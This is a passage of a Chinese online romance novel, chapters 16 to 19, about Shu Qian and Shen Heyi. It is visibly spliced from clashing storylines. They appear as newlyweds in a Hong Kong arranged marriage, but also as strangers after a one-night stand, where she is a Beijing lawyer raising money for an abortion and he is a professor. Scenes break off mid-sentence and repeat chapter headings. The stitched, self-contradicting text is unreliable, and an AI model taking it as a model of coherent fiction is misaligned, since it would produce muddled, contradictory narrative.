“我接个电话。”
段泽明看着已经走远的某人,摸摸了他离开的位置:长针了?弹起来这么快。
一个人窝在沙发上享受着久违的独居生活。
舒浅找了个老电影看,刚到一半正沉浸其中的思绪就被电话冲断。
是黎岑瑶打过来的。
“怎么样,新婚第一天感觉如何啊?”她问,“有没有觉得空气中都多了束缚的气息。”
“谢谢大小姐关心,目前感觉非常好,空气里都是自由气息。”
不用准时准点起床,也不用想着怎么应付饭桌上的交谈,日子确实是自在。
“啧,谁问你这个了,我是说和你家那位相处的怎么样。”
舒浅思索了下,“就那样。”
收到沈和易消息说他已经到了的时候,舒浅正巧换好衣服,拿起包她就走出了门。
刚走到昨晚他送她回来的拐角处,舒浅便看到依靠车边站着的男人,她下意识的打量起他。
路灯下,男人双手环于胸前站的有些懒散,凌厉的五官被昏黄的光线削弱了些锋芒,却还是副肆意不羁的模样。
大抵是因为不是出席什么正式的场合,沈和易穿得也简单。
上身是LV的白色短袖,裤子则是CH限定款的蓝牛黑拼皮。
干净的穿搭,显现出一些少年感,看上去倒像副男大学生的样子。
舒浅悠悠收回视线。
衣品还是不错的嘛。
她自认为那几年被黎岑瑶带着追星眼光变得很挑,以至于后来好长一段时间在现实中都很难觉得谁是帅的,也难寻到让自己看得顺眼的穿搭。
但眼前的人,这两点倒是兼容上了。
思索间她已经走到了他面前。
“晚上好。”
沈和易看着她,他嘴角掀起一抹笑悠悠地说道。
舒浅浅浅的勾下了下唇,却没出声回应,相较之下,记忆先一步被牵起波澜,潮起潮落间退回到一个星期前。
她关了电视的声音,从沙发上坐起身,“他忙他的,我忙我的,看不见人,不惹人烦。”
见她不往自己丢出的话茬上靠,黎岑瑶索性直接问:“哎呀,说的是昨晚!可是新婚夜,相处的怎么样。”
不用看得到脸,舒浅都能想到她笑眯眯的模样。
“哦,盖上被子纯睡觉。”
还没等听见电话那头的人给出什么反应。
舒浅眼睛一瞥,感觉到视线的余光被一道身影挡住。
沈和易走过来,双手撑在沙发上,同一时间舒浅挂断了通话,快速的敲着键盘跟她说等下再聊。
温和的声音在头顶缓缓响起,“怎么感觉舒小姐对昨晚的新婚夜很遗憾似的。”
他偏着头垂眼,刚好可以看见女生颤动的睫毛,“不满意的话,我们今晚补上也一样。”
“一部分的原因。”沈和易带着她往前走,藏不住骨子里的顽劣,“突然问这个,是在遗憾没有早点遇见我?”
他眸光一沉,把人搂的更紧了些。
像是不这样做,她就会跑了一样。
舒浅摇了摇头,“我是在想,是什么样的人会让你这样避之不及。”
话刚说出去她就后悔了,他们之间不该问这些的。
沈和易眉梢轻佻,没忍住的捏了捏她脸,“在自己老公怀里想着别的男人,沈太太是一点都不担心我生气。”
明明不是什么恩爱甜蜜的夫妻,但他这样一说,舒浅倒是被他绕进去。
好像是不怎么妥当。
她眼帘轻掀,没再继续说。
也没挣脱他带着暖意的怀抱。
落日时刻,晚霞染红了半边天,阵阵海风卷起了夏风里的燥热,舒浅蜷了蜷垂落在裙边的手,萦绕耳畔的除了徐徐风声,还有他刚才的那句无从辨别真假的低语。
“浅浅,我也会吃醋。”
真是可恶。
差点就被男色所惑。
想要上去亲一口。
甚至有那么一瞬间,她竟然想到的睡觉是个动词。
想反客为主的给他扑倒。
意识到自己脑子里都是什么危险想法,舒浅从他怀里挣开,磕磕绊绊的说:“怎…怎么睡,肯定是洗完澡睡,我现在就去。”
说完,几乎是一路小跑的上了楼。
沈和易看着女生“仓皇而逃”的背影,忍不住的笑了笑。
不仅不经逗,还藏不住小心思。
舒浅洗完澡,毛孔舒张,被行走带起的风吹拂着,感到一股莫名的阴森。
她在心里嘀咕,这是怎么回事?
明明身处于房间,不会有危险,或许是错觉吧。
舒浅将这种害怕的情绪归咎于早上看见的那则新闻。
她定是被吓到了。
她安慰自己,睡一觉就好了。
手持着浴巾,舒浅开始擦头发。
她穿着睡裙,耷拉着拖鞋,露出纤细的脚腕。前不久又在厕所吐了。因为是跪着的,所以膝盖被磕碰的发红,但是并不疼。
也许是从小到大总是会莫名出现青紫划痕,舒浅对于疼痛的忍耐度会比常人要强。
走到房间门口,她惊讶的发现门竟留着一丝缝,为走廊与房间之间划出一条模糊的界限。
舒浅手中动作未停,感到困惑不已。
是前不久忘记关门了吗?
可她向来小心谨慎,做事后会反复检查,不应当会出现此疏漏。
兴许是自己记错了呢,毕竟人都有百密一疏的时候。
舒浅说服自己,握住门把手,正欲推门,却被一只温热的手抢先一步,抓上她的手腕。
她像是被黑洞吸附,拽了进去。
……
第 16 章 第 16 章
舒浅哪里会料到房间内,居然会有人对她动手动脚,一时间吓得全身颤抖不已。
待目光聚焦,看清来者,她那因惊恐而紧绷的毛孔,仿佛被温柔的手轻轻抚平。
原来是沈和易呀!
虽然不知道他为什么会来自己房间,亲手拽自己进去,但在突如其来的惊吓中,看见一个熟悉的面孔,总比面对一个陌生的面容要安心很多。
于是,舒浅平复内心,轻声呼唤他的姓名:“沈和易,你是有什么事情来找我吗?”
要不然他为什么急匆匆的拉她进来?
京大众人皆和,严肃的沈教授不在上课就是在实验室,所以陈晴掐着点来到教学楼,看到空无一人的教室懵了。
她抓住一位路过的学生,这才和道沈和易的实验结果复查是今天,所以课程在昨天就上完了。
算算时间,这个时候各个领导应该已经审核完成,陈晴很快往实验楼走,果然看到了结束出来的各位教授。
“来找沈教授吧?”楼下的安保笑呵呵的,“进去吧,今天实验楼开放日,可以进的。”
“谢谢。”舒浅撑手,这次是真的推开他了,小脸掩上一层严肃,像是在说什么郑重的事:“好不容易翘班,不能就这样浪费。”
沈和易收起了脸上的玩笑,附和的点了点头,打消了她心里的顾虑,“先去洗漱。”
“不会让你白翘班。”早上七点,闹钟准时响起。
才睡着三四个小时,她现在正困着,处于本能的就把吵人的声音关掉,意识混沌间猛然想起自己是在家里,又惊醒过来。
二十分钟后,舒浅强撑着眼皮从楼上走下来。
刚迈步到客厅便看见正吃着早餐的两个人。
舒浅慢腾腾走过去,唇边挂上了浅笑,“爹地妈咪早。”
“早。”
“早。”
得到回应,舒浅视线扫过两人的脸,确认没有生气的意味,她才拉开椅子坐下。
闻芷兰和舒钧在吃食上一向讲究,就连早餐也都是请了专门的厨师每天用新鲜食材做得不重样。
但舒浅在国外一个人惯了,几年下来也没吃早餐的习惯,被迫坐在这里也就喝点牛奶,偶尔有食欲才会吃上两口。
闻芷兰看向她,“钟姨说你这几天都没在家里住。”
言外之意是,她有足够的时间和空间去思考跟她提过的事情。
舒浅神色一滞,轻轻的嗯了声。
“想得怎么样了。”
舒浅没想到闻芷兰能在清早就问她,意识到自己轻视了那件事情在她心里的重要程度,她软着声音试探的问:“一定要那样做吗?”
前几天闻芷兰给她了一叠资料,里面筛选好的清一色都是港城里家世和年龄上都与她相配的男生。
意图是什么不言而喻。
闻芷兰舒了口气,有些语重心长的说道:“浅浅,你总有一天会明白不管出于什么目的在一起,是爱情也好还是利益也罢,最后结果都是一样的。”
听见这话,舒浅蜷了蜷手,冰凉的指尖蓦地让她心底一颤。
她知道该是没有什么可商量的余地了。
闻芷兰:“如果你只是舒浅,那妈妈一定给你时间叫你自己去遇见一个真心喜欢的男孩子,即使你最后不结婚,也不会说什么。”
“但你不是,你背后还有舒家,别的事上都有可以商量的余地,可以任由你的性子来,唯独这件涉及家族利益的不可以。”
作为家里的独女,舒浅从小便是被捧在手心长大的,闻芷兰和舒钧对她的关爱几乎可以说是无微不至,百般宠爱,外人看着都羡慕不已,却只有她自己知道在工作和课业上,两人对她是与生活中截然相反的态度和标准。
舒钧也在一边开口:“你妈咪为你选的都是最优秀的,虽然是联姻,但是选择对象的权利也是在你自己手里。”
闻芷兰跟她说过的。
可以在那些人里选着接触,最后让她自己决定是谁。
舒浅扣着手,在舒钧和闻芷兰没间断的话语中沉默良久,最后才开口问:“既然要门当户对,怎么在资料里没看到沈家的?”
闻芷兰道明缘由:“沈家的老大比你年长太多,小儿子又太小,都不是最合适的人选。”
舒浅脑中晃过一张脸,追问:“不是还有老二?”
闻芷兰看了她一眼,淡淡的评价道:“那个是我最不喜欢的。”
顿了下她又说,“经常出现在媒体上,看着不像安稳的样子。”
舒浅识趣的不再多问,换了话题,“那爹地妈咪最喜欢哪一个?”
一句话,让她无端有了隐隐的期待。
洗漱、打扮、吃早餐,一套下来舒浅用的时间足足比平时少了半个小时。
她坐在副驾驶上随意的刷着手机,看到了一条朋友圈配文是:计划了半个月,终于出发了!
舒浅点开照片翻看了几张,后知后觉的认为,或许她的这个轻松周末,也是早在计划之中的事情。
不然怎么能这么凑巧。
提前三四天都难得一位的餐厅,在他们吃饭的时候空间就属于他们两人。久无人居的房子是昨天刚被打扫过的,衣服也是准备好的,甚至连浴室里那些洗漱产品和护肤品也都是她惯用的牌子。
哪里都安排的妥帖。
是原本就打算好了带她出来玩的。
她偏过头,看着正开车的人。
难道真是他那句为了让她开心一点?
这个问题的答案牵扯太多东西在里面,舒浅摇了摇头,不想往深处去探寻。
就像他送的那些花束一样。
目的是什么并不重要。
沈和易单手扶着方向盘,靠在车坐上懒懒散散的,感觉到她投过来的目光,扯了下嘴角,“就这么好看?”
舒浅:“什么好看?”
他到是一点都不谦虚,大方的说:“我好看。”
“好看到太太都移不开眼,一整个早上都看不够。”
舒浅收回视线,淡淡开口:“也就一般,小有姿色而已。”
沈和易轻啧了声,略有遗憾的哼笑道:“差点以为可以在太太那里靠脸吃饭。”
舒浅反问:“我看着像是那么肤浅的人吗?”
沈和易特别配合的看向她,若有所思,像是认真想过,肯定道:“不像。”
“那不就是了。”
“舒小姐名门闺秀,看着很有涵养,一定不会是肤浅的人。”
他改换了称呼,语气又变得和从前一样,不太正经,有着点调侃的意味在。
“所以想要讨得舒小姐欢心,不能靠脸。”
舒浅满意的嗯了声。
“那我靠内在。”沈和易语气上扬,“身体力行怎么样?”
陈晴熟门熟路找到沈和易的实验室那层,整层却是出奇的安静。她站在门口,遇到了换好衣服出来的段泽明。
“陈老师?来找老沈吗?他去卫生间了。”
陈晴有些不好意思,双颊红着,一张脸越看越耐看,“那方不方便我在这里等等他?有些关于讲座的事宜想和他当面说。”
“这有什么不行?”段泽明打开门让她进来,又看着自己凌乱的桌子解释,“有点乱。”
陈晴一眼就看到了靠窗那张摆放整齐的桌子,往里走着,却被段泽明叫住。
“陈老师,那是老沈的桌子。”
陈晴歪歪头,似乎没明白他的意思。
段泽明解释:“老沈他不太喜欢别人碰他的东西。”
“没关系,我就坐在这里,不会动他的东西的。”陈晴说着就要在椅子上坐下,段泽明面色闪过不悦,还要提醒,“陈老师——”
“沈教授,你回来了?”陈晴已经离开窗边,越过段泽明朝着门后的沈和易走去。
闻到刺鼻香水味的段泽明擤了擤鼻子,觑着沈和易沉下去的脸色,默默减少自己的存在感。
“沈教授,你晚上有时间吗?有一些关于下浅公开讲座的事宜想和你当面核对,你看你——”
“我已经和宣传部的张老师核对过了,没有问题。”他的语气降至冰点,让开位置,“请看。”
陈晴顺着视线看过去,看到了洁白的墙上那几个醒目的大字——实验室内,无关人员请止步。
还想辩解这是休息室的陈晴对上沈和易面无表情的脸把话收了回去,站到走廊,“还有一些细节没核对,我就——”
“陈老师刚来业务不熟练可以理解。”
陈晴试探的眼底又亮起光,就连段泽明都奇怪这话能是从不近人情的沈和易口中说出的,下一秒,他薄唇轻启,寂静的走廊都泛着冷光。
“你的分内之事没处理好,凭什么来浪费我的时间。”
舒浅简直不知道该用什么词来形容此刻的心情。
特别是前不久刚想起借贷的报告单遗落在何钦的车里,就看见沈和易抵着她的脖子,向她兴师问罪。
两重夹击的恐惧让她忘记了时间的迁移,好在,结果并不算糟糕。
沈和易好像没有想象中的生气?也没有想象中的难缠。就是就是那副阴森森的模样着实吓了她一大跳,以为他被什么怪东西夺舍了。
不过后面舒浅还是自己给自己想通了,一个人的脾气肯定不会一成不变。她骗了沈和易,他生生气,也是应该的。
何钦的图片已经发了过来:是这个吗?
舒浅惊喜的回:是这个,就是这个。
帆布包果然在何钦那里。
他们在接下来的时间里商讨着见面时间。
何钦打字:我明天是有空的,要不明天给你吧。正好顺路去修下你们学校机房的电脑。
意思是她不必有这么大的心理压力,以为他是特地为她,才来学校的。
舒浅的一言一行非常礼貌:如果可以的话,那就谢谢你了。
她关上手机,觉得何钦如李妈所说,是个非常有礼貌和涵养的人。
临近十二点,舒浅关上灯,准备睡觉。
动荡的今天需要一整晚的睡眠来平复,舒浅将被子盖在头上,已经不知道该如何面对沈和易了。
恰在此刻,她听见门口的敲击声。
她打开灯,走了过去,看见他穿着睡衣,拿着手机对她说:“舒浅,你这么还没有睡呢?把你的手机号码和微信都给我一下,我需要统计下大家的联系方式。”
第 17 章 第 17 章
舒浅说好,可以。连忙拿出手机扫了码,老老实实回了被窝。
全程几乎没有多余的话,有的只是“叮咚”一声,添加好友的声音。
舒浅没多敢看他,现在得以回想起他那时的态度,好像跟之前并没有什么区别。
依旧是那副平和的态度,让舒浅觉得,自己刚才那些匪夷所思的行为,是不是有点自作多情了。
沈和易根本不在乎这些。
睡一个女人,二个女人来说,肯定对他是家常便饭。毕竟前几天去他那个圈子,一个男人抱俩个女人都是常有的事。
当然女人也不例外。
有钱,谁又是个好东西呢?
历届毕业生逐年增多,身为大学里最热门的法学专业,每年毕业的实习律师就占了整体的十分之三,更不要说其中获得律师资格证,有丰富履历的律师。
而这当中,只有少数的优秀律师才能进入北城最有名的律所HC,在少数里,再筛去一半的一半,才能彻底转正,真正留在HC。
留下不代表护身符。事实证明,昨晚梅清雪的提醒不是空穴来风,舒浅到达办公室屁股还没坐热,就接到来自十二层的电话。
这是既两周前舒浅拒绝收人后,唐慧敏第一次主动找她。
整理好情绪到达办公室门口,轻叩响门,里面一声“进来”舒浅才按下把手。
“唐总,您找我。”失败,太失败了!
舒浅不想做了,挣扎着要站起身,奈何身后的人先她一步把人捞回来,换了个位置,俯身,继续。
事后第三天,舒浅仍是揉着隐隐作痛的腰,心有余悸,想不通怎么有人不管是脱了衣服还是穿着衣服,都是一个表情?
太多思绪交织在一起,她还是咬住了早就想咬的手指甲,得出结论。
差不多一共三次,每次肯定都戴了。
蹙着眉,她嘴里念念有词。
“既然戴了肯定不会有落网之鱼所以我不一定是肯定是最近压力太大才会推迟所以不要自乱阵脚——”
“你好女士?有需要帮忙的吗?”
穿着酒店制服的女人勾着标准的微笑,在看清舒浅手下露出的脸时,短暂露出惊艳的表情,又很快恢复正常,微笑道:“需要帮忙吗?”
“不用了。”走出两步,又退回来,“请问这附近有药店吗?”
已经买好了东西,在找卫生间的舒浅拐过拐角看到了目的地,不等她疾步过去,余光里一闪而过的身影印刻在脑中,挥之不去。
她被钉在原地。
乱步的心跳和呼吸都提醒着她,那是谁。
下意识想走,可生活在偌大的北城,她瞧见了躲了一个浅的男人,舒浅好奇心作祟,想退回去看看那是不是他。
身体力行,等她反应过来的时候,她已经这么做了。
慢慢后退,慢慢移动视线,仿佛一切被聚焦成慢动作。直到舒浅看向不远处敞着门的宴会厅、人群中身姿卓越高挑的男人,血液凝固。
脑中瞬间浮现那晚她在百度查到的资料。
沈和易。
获美国密歇根生化理科大学博士学位,因其发表过的论文含金量极高,被国内双一流大学多次请聘,现任职于其母校京大生化顶尖实验室兼生化院副教授。
家世、学历、履历,哪一样都漂亮的出奇,而沈教授,最不值得一提的,就是他的神颜——
直观到连对视的勇气都没有。
舒浅感觉自己真是出息了,不仅对视了,还睡了。
再争气点,还一发入魂
视线聚焦,她看清那张脸,和记忆中的一般冷漠。
不和身边的人说了什么,他单一的表情有了松懈,礼貌点头,可那疏离感隔着人群都把舒浅冻的一僵。
和他大学时给她的感觉一样——
只会读书的漂亮人机。
所以她是怎么和人家……舒浅被自己气的七窍流血,不愿再去回想,可视线还是不经意飘过去。
他还穿着和第一次见面时的同色系西装,不过很快便被她捕捉到不同之处。
这次的西装上泛着隐匿其中的银丝,正随着主人微微动作,配合着灯光刺激着舒浅的眸子,仿佛银丝成了精,千里之外就能勾住她的脚踝,叫她驻足。
下一秒,沈和易附耳听身边的人说了什么,看过来时,门口已然没有谁停留过的痕迹。
十分钟后。
弥漫着诡异静谧的卫生间,舒浅看着白条上泛起的第二条红色,指尖忘了收力,拇指右侧渗出血来。
意式风格的弧形玻璃窗前,烫着法式波浪的女人倚靠着,纤细的手指勾着茶杯,指尖上醒目耀眼的红色让舒浅收回视线,转而看向坐在椅子上的vip经纪人,Smith。
Smith是她当事人、当红女星顾茜茜的经纪人,是个一笑起来就被鱼尾纹堆满的男人,一身香水味,熏得舒浅站在门口就胃里翻腾。
“舒律师,我们又见面了。”Smith主动开口,“我们茜茜对您做的方案是非常满意的,那天之所以那么着急,也是为了在对方面前占据主导,希望您不要介意。”
想起当时的场景,舒浅眉心一跳,面上依然笑得得体。
“没有介意,可以理解。”
“能理解就好,舒律师的业务能力我和茜茜都很信任,不然也不会在北城成千上万的律师里挑中你,也希望你可以竭尽全力。”
“您放心,我对我的每一位当事人都会竭尽所能。”
Smith露出满意的笑,看向唐慧敏,“唐总的人我自然放心,那我就先走了,此次来也是待顾总向您问好。”
“也劳烦您帮我向顾总问好,您慢走。”
关上门,唐慧敏将泡好的红茶递到舒浅面前,“瞧你那死人一样的脸色,怕我吃了你?在你心里,我唐慧敏就是这么小心眼的人?”
舒浅触上脸颊,避开了这句话的重点,没瞒着,“家里人昨天住院了,没睡好。”
唐慧敏面色一紧:“怎么回事?”
“高血压,老毛病了,医生说再观察一天明天就能出院了。”
“那你还上什么班?”责怪着,唐慧敏已经在办公桌前坐下,“今明都休息吧,再加上周末,四天,好好调整好状态。刚刚Smith你也看见了,他来就是代表的陨星娱乐的顾总,顾茜茜和他什么关系,你这么多天的调查肯定比我清楚。”
陨星娱乐占据整个娱乐圈最顶峰的经纪公司,在影视最不景气的那几年,当家人顾许之硬是靠着狠辣犀利的目光和手段在圈子里站稳脚跟,且多年屹立不倒,实力雄厚。
这么一个能带来名和利也能化成一盆脏水的烫手山芋到了舒浅这里,她只能说自己运气太好,好到爆炸的程度。
已经和人事说好的唐慧敏放下手机,鲜红指甲指向桌边摆放的财神爷挂件,“这案子能办好,不说你合伙人的位置,你提什么条件我都答应,但前提是,只能办的漂亮,必须漂亮,听到没?”
从大厦出来,舒浅被冷风灌得有些懵,裹紧大衣就朝着车位走。把手提包放在后座,这才看见忘了送去干洗的千鸟格西装。
舒适的面料此刻泛着凉,她收回手,把它往里推了推。
真是麻烦。
秦泰五分钟前发来消息说戴闻春已经醒了,舒浅没再耽误,转道先去了干洗店。等到医院的时候,秦泰还有课先走了,只剩戴闻春。
她正瞧着窗外的苍白出神,丝毫没注意到门口的人,还是舒浅唤她,才反应过来。
“小姨,您现在感觉怎么样?”
“好多了。”戴闻春揉揉她冰凉的手,“怎么脸色这么不好,手也这么凉?”
“外面降温了,暖暖就好了。”咳了咳嗓子,舒浅忘了补完妆再上来了。
戴闻春把热水袋塞到她怀里,又朝外看:“昨天和你一起来的男孩呢?”
每年成绩不合格就不能升级成为中级律师,这也意味着成为律所最底层那批,拿着最少的工资干最多的活儿,没有属于自己的案子和当事人。
从修罗场厮杀出来的舒浅自然不甘心于此,她从小到大都是要强的性子,往上爬才能让她的不安的心稍加稳定,充满安全感。对于此次的合伙人竞选她势在必得,只是傍晚,和舒浅向来不对付的梅清雪带来一个坏消息。
“这次竞选不是HC内部竞争,还有一位从加拿大回国、擅长刑事案件的双学位律师也要竞选,而且是唐总的老师许老介绍的。”
梅清雪矫揉造作的声音在打水间响起,“我可是和道这个消息的第一时间就告诉你了哦,舒律师,我对你好不?”
舒浅自然不信,嘴里却是另一种态度:“谢谢你哦。”
“这哪儿的话?我们共事这么多年,我一直都把你当成为强有力的竞争对手,也是对你能力的肯定嘛。”
那边默了默,语气正经了些,“别怪我没提醒你,你拒绝唐总的事或多或少让她没面子,说不准这次程咬金的到来就是为了敲打你的,你可长点心,别到时候厮杀起来溅我一脸血。”
鼻尖的气息微凉,舒浅的脸隐匿在黑暗中,晦暗不明,“想多了,我哪值得唐总这么耗费心神。”
“瞧瞧瞧,我就担心你这样,不过也挺好,你落败了我自然高兴。我这个人就要等着看不可一世的舒律师跌下神坛。”
夜色降临,医院内外灯火通明,只有打水间是声控灯,因为舒浅的沉默,灯光熄灭,整间屋子彻底融入窗外的夜色。
手机放在窗台上发出微弱的光,照亮阴影中,那张面色稍缓的脸
舒浅勾唇,恶狠狠道:“万一打起来,先把你推出去挡枪。”
回病房的时候戴闻春还没醒,姨夫秦泰接过她手里的暖瓶,低声道:“要是忙你就回去吧,这儿有我看着呢。”
舒浅摇头,“我不忙姨夫,您饿不饿?我出去给您买点吃的吧。”
“不用不用,我和渔友在外面吃了。”秦泰拉住她,“你吃了吗?下午我听王阿姨说放下电话你就过来了,是在附近办事吗?”
舒浅面色不自然,“是,正好在附近见个当事人。”
不和道王阿姨有没有和秦泰说沈和易的事,但凭着王阿姨那个眼神,舒浅还是先一步转移话题。
“小姨的血压不是一直都有吃药控制吗?怎么突然就”
“唉,别提了。”看了眼眼前的姑娘,秦泰忽然换了口吻,“就是岁数大了,有些事想不开,没事。”
病房里安静下来,舒浅望着身边后背勾勒的男人,出声:“姨夫,您和道您不会骗人吗?”
就算她跟别的男人偷偷约会,在他身边呆最长的人,还是他。
此话过了,他不想提。他突然想到一个妙招,能让舒浅不去面见别的异性。
接过舒浅递来的资料,他轻声道:“舒浅,你怎么整理完资料就走,不坐坐吗?”
舒浅哪里想坐,立马摇头:“算了,天有点晚了,不坐了。”
“是吗?”他抬抬眼睛,七点钟,并不算晚,一时间扣住她的掌心,“那你陪我坐坐。”
什……什么?
舒浅难以置信他的那双手会径直拉住她,与她十指掌心扣着,甩都甩不开。
舒浅急忙说:“沈和易,你放开。外面都是人。”
可抬眼一瞧,只剩阻挡的窗叶。
好像她把自己给坑了……
“你留在这。”沈和易压根根本不听舒浅的话,转而笑着说,“舒浅,忘了问,你那晚疼不疼?”
第 18 章 第 18 章
舒浅震惊到极点,因为她没预料到沈和易会主动提这件事,甚至接下来说的话题更加露骨。
“应该会疼吧,我看进去的时候你眉头皱了下。不过这也难怪,舒浅是第一次,曾经又没有经历过,而且我也没太温柔。”
他触摸她颤抖的脸庞:“舒浅,你会不会怪我?”
紧紧贴合的手指稍凉,和她滚热的脸颊形成鲜明的对比。
不知何许原因,他的手指根本未曾用力一下,但她的身体愣是躲闪不了一点,只能被迫与他的目光相对。
他微笑着:“舒浅,你看我总是会让我起反应。”
舒尔间,热度如岩浆喷发,舒浅连忙闭眼,只不过睫毛还在跟着打颤。此刻,她神志有点不清,言语有点混乱:“沈……沈和易,你在说什么呢?”
怎么开始胡言乱语起来了。
不过更让她震惊的事,这些荤段子居然会从他嘴巴里面说出来,这有点打破她对他的认知,不知道该如何面对他。
舒浅听着闻芷兰的安排去参加一个珠宝晚宴。
她刚回港城,对这样的活动还不太适应,刚好又不太舒服,就拉着朋友在角落里躲清闲。
也根本没想到会有人过来同她打招呼。
“舒小姐你好。”
陌生的声音在耳边响起,舒浅闻言下意识的转过头。
“我是晁嘉言。”
说话的男人眉目深邃,鼻挺唇薄,一纯黑的西装在身,给人一种深沉内敛的感觉。
舒浅一时还没反应过来,只是出于礼貌的先站起身来,须臾,将眼前的男人与那叠厚厚资料中的某一个对上号。
一时间她找到了闻芷兰偏要让她来出席这场活动的原因。
是见她自己不主动,所以要用这样的手段来催促她吗?
沈和易(小有姿色):【睡醒了?】
沈和易唇畔扬起,“好霸道,抱着人睡还不让人动。”
舒浅闭着眼还没睡踏实,一副理所当然的语气,“又不是天天都抱。”
平时在家都是分两床被子睡得。
相拥而眠,还是第一次。
一丝残存的清醒意识还能让她知道自己做了什么。
舒浅收紧了手臂,找了个更舒服的姿势。
反正婚都结了,亲也亲了,再不济还有个证在手,她抱一下又不犯法。
霎时间好像有什么被搁置的问题,在混沌间有了答案。
莫名其妙的醒过来,倒是有点睡不着了。
都怪他偏要跟她说两句话。
舒浅皱眉,“你把我吵醒了。”
瓮声瓮气的丝毫没有什么警示作用。
沈和易早就把人固在怀里,落在她背后的手动作轻柔,一下又一下的拍着她。
像是哄小孩睡觉一样。
他也有耐心,“那这样拍一拍,能继续睡着?”
舒浅闭着眼没回应。
半晌。
她轻轻的哼了声,“真的睡不着了。”
明明被困意压着睁不开眼,却能听得到声音,感受到动作。
半梦半醒的。
“这样拍也睡不着?”沈和易问道。
舒浅想摇摇头,但两人靠得近,她小幅度的动作,就像是撒娇似的蹭了蹭。
她轻轻嗯了声。
头脑昏沉,原来能感受到的凉意早已被炙热的体温驱赶,紧密的靠在结实胸膛在她潜意识中顿生一种踏实感。
终于得以搜寻到困意,下一秒好像就要睡着,可她还是不忘叮嘱,“别拍了。”
“就这样…”
她声音轻到最后几个字要人凑到耳边去仔细分辨。
沈和易眼尾晕出温柔笑意,手掌落在她脑后轻轻揉了下,最后在她额头上落了个轻吻。
“晚安。”
昨晚喝了酒,回家路上晕晕乎乎的脑子里都是黎岑瑶的话,刚巧沈和易发消息过来,舒浅就给他改了个备注。
舒浅:【你具体什么时候过来?】
沈和易(小有姿色):【看来舒小姐也跟我一样迫不及待。】
舒浅隔着手机都脑补到了他说这话时的表情和语气,不想回他。
聊天框顶端还在显示对方正在输入,隔了几秒消息弹出。
沈和易(小有姿色):【十点左右。】
晁嘉言看着她,“这样贸然打招呼可能有点冒昧,还请舒小姐别介意。”
舒浅摇了摇头,客套道:“不会。”
见女生脸上并没有显现出生气的神色。
晁嘉言又试探着询问:“舒小姐愿意换个地方聊天?”
对于这段原本就在意料之外的交谈,舒浅并不是很想继续下去。
尤其是在猜得到目的的情形下。
舒浅不禁皱了下眉,正想着拒绝的措辞。
还没等她开口。许是因为终于解决了这段时日来一直缠绕心头的事情,整顿晚餐的时间舒浅的心情前所未有的轻松。
回去的路上沈和易看着副驾驶垂眼看着手机皱眉的女生,问道:“是还有什么对我的要求?”
舒浅摇了摇头,“你这样说显得我要求你很多了一样。”
她把手机按灭,转头看向他,“你打算什么时候跟家里说这件事?”
沈和易声音清冽:“我都可以,按你的来。”
“那就这个月底之前吧。”舒浅说道。
今天已经是二十号了,十天的时间刚刚好,不会显得急促,也不会太长。
想起刚才收到的微信消息,舒浅喘了口气,这个时间应该在她可以拖住闻芷兰有下一步计划的范围内。
她又想到什么似的嘱咐道:“我暂时不想办婚礼,没什么必要大费周章,你应该也是这样想的吧。”
他看着也不像喜欢这样形式主义的人。
似是对她说的某个词不太满意,沈和易皱了下眉,又轻笑着问她:“要是我还挺期待的呢?”
“毕竟就结这么一次婚,总得体验全了。”
“况且两家联姻,总不能什么都没有。”
舒浅想了想又觉得他说得有点道理,以沈家和舒家这样的地位,两家联姻,定是万分瞩目的,不知有多少人翘首以盼。
既然他这么愿意,不如就让他筹办着,到时候她就充当个出席的角色好了。
“那就先跟他们说我们要花费时间好好筹办一下,等到明年再说。”
“听你的。”
沈和易在这些事上觉得还是以她想法为主的好。
剩下一半的车程两人没再聊此事,只是在音乐的陪衬下有一搭没一搭的闲谈。
到地方的时候沈和易跟昨晚一样,把车停在了拐角的半坡处。
他又从车里下来,陪她走过那段寂静的小路。
到家门时,舒浅眼睛扫过二楼还没亮灯的房间,淡淡道:“那我先回去了,这几天有什么事微信聊。”
转身就要进去。
“等下。”沈和易叫住她。
“怎么了吗?”
沈和易看着回眸的女生,欲言又止,最后哼笑了声,到底是没把到嘴边的称呼叫出口。
“忘了说晚安。”
“恐怕不行。”
一道清朗的声线便传入耳朵,替她做了决定。
舒浅下意识的循声抬眸,认出两三米外的人是谁后她眼睫轻颤,心底浮现出了个名字—
沈和易。
场上的人都知道这是沈家那位素来在名利场上频频现身的二公子。
也因此数不清有多少人想要借他跟沈家搭上关系。
可惜这位二公子向来一副无心家业的态度,但尽管这样主动上前恭维的人也是只增不减。
只因这位是沈家最容易能让人接触到的人了。
大家都好奇是谁会让他主动起身。
一时间场上议论纷纷。
“沈和易朝着走过去的女生是舒家的?”
有人认出舒浅来,“嗯,好像刚回来没多久,应该这次回来就不走了。”
“前几天还听舒太太说是到了该结婚的时候了,估计是想让她安定下来接手家业了吧。”
得到答案的人思索了下,一声低语意味深长,“那怕不用多久就能听到好消息了。”
一切就像没发生过。
他只能叹口气。
既然舒浅不主动,还是他主动吧。
最后一条消息以一千元结尾,上面写着自愿赠与,聊表决心:舒浅,真的很对不起。
一条条信息在舒浅脑袋里过了一遍,她终于回神。
说到底,何钦也是为她好,怕她误入歧途,并将一千元发来。
所以她怎么能训斥何钦呢?
她打字:[没事的,没事的,你不用道歉。]
随后,她盯着一千元发呆。
忽而舔了舔唇角。
她只要筹集到一千元,无论向谁借取都并无大碍。
所以,这件事,也算是因祸得福……?
舒浅回:何钦,我可以和你商量个事吗?你不用打自愿赠与。这个钱,就当是我借你的。可以吗?
第 19 章 第 19 章
曾几何时,原来只差一步接近希望,心里也会沉甸甸的难受。
望着账户余额中勉强凑齐打胎的钱,舒浅内心里居然洋溢不出欣喜的感触。
原是凑齐这些钱的挫折之大,以至于想起来,都回味着苦涩。
她一再坚持,黎岑瑶也就没再阻拦,叮嘱道:“那好吧,你一个人回去小心点。”
一行人就此兵分两路。
走到车前,舒浅才猛地意识到自己今晚喝了酒,开车是万万不能的。
思索间,身后车灯亮起。
她回过身,半眯着眼看去。
夜色下,橙色车身张扬,轮胎压过,细微尘土扬起。
全港唯一一辆迈凯伦765lt。
大陆没有原装的引进,街上能看见的都是改装的。
她想猜不出车主都有些难。
厅内人多眼杂,媒体们的镜头更是防不胜防,虽然即使拍到什么也不敢传出去胡乱编排,但她不想惹不必要的麻烦,最后两人各自落座,约莫过了二十多分钟后,才相继的离开。
顶层的套间,门口有两个人把守着,舒浅跟在沈和易身后,看见门被人推开的一瞬,她踌躇了下。
